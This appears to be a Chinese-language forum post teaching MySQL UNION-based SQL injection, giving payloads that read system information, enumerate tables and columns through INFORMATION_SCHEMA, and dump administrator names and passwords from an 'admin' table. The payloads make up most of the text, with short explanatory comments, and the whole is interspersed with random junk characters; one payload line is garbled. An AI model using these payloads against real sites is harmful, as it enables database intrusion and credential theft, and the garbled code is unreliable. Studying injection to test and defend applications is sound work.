mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
3 w9 a: d' p) o6 U( w# y( a( R. _7 P
学习盲注前先了解下 IFORMATION_SCHEMA 库
( m+ F2 p; u( y# p  Y$ o& G3 M
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
" F3 ]7 u' A5 f- E9 I5 q|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
7 g2 K7 n' }# s+ f% V* y; O" S1 p
" [: v, {  }" y! G; Z  }|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
2 ~/ o, u( L$ \( I; M( P
|---字段：COLUMN_NAME ->该字段的名称
8 u) m, P: h/ U8 I; S


###########################################################################
1 i2 T' C9 }. z3 u+ i
0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

( x/ A8 K, y1 W# E4 {. t/*

' {" ^) V, I$ f, N, k1 l6 L! @7 @@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
, x" W- \" E4 L+ w& a* o6 K/ Ydatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/
6 M+ |! c7 k9 W  R7 F, x% @


######################################################################
4 q+ v1 g* a2 R3 p7 {' k
5 L& }4 K, }6 f/ l6 N. ]! o! Q0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
9 c/ B6 C  s2 X


/*

0x67617264656e 为当前数据库名
: f( f4 h" B2 A
, m% O5 `1 L( Kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

- o7 I' E: w! U! |*/
9 R4 r: H" g2 p0 J, q
! f' Z' A, u$ {. C( a/ W######################################################################



0x003 获取字段

, J6 N3 {3 S. bunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

* }) z8 H& F1 S1 \" Q% Y; |5 W/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
1 Y) \$ I3 e, Z7 k2 x
0x61646d696e ->选择一个表

; T( u: Z/ J3 A0x67617264656e ->数据库名

! t0 n( K, R! y/ R5 M" \*/

#####################################################################
5 t& l5 [3 M. x  o
$ n1 W& H( W2 }( v8 v1 l
4 W* @, P" f6 O& s5 _
0x004 获取数据
1 D0 S, K1 \8 I; L# c- o/ P
; k: H$ |" F3 u6 A3 tunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 y  {0 o* g) w( C: o- Y" \  f
; ]: x$ ^2 L5 Z" T0 Wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

6 g1 k( h* A* p0 X
" s0 B! X3 x* C6 m
/*

. A1 v* h7 A& l0x3c62723e 换行符号HEX编码
) P& D3 t8 n. A8 l4 z0 c1 m
group_concat 同时获得该字段所有数据
& o2 J# b& `( k/ i
6 k8 }9 \0 Z+ K8 R) h& J, e% B0 \*/

5 u' P( [) y* j3 p, e! O